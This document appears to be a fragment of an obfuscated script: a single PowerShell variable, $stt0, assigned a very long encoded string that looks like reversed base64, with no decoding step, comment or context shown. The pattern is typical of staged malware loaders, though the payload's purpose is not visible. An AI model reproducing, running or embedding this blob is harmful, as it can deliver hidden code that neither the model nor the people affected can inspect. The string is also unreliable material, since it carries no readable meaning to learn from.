$stt0 = "==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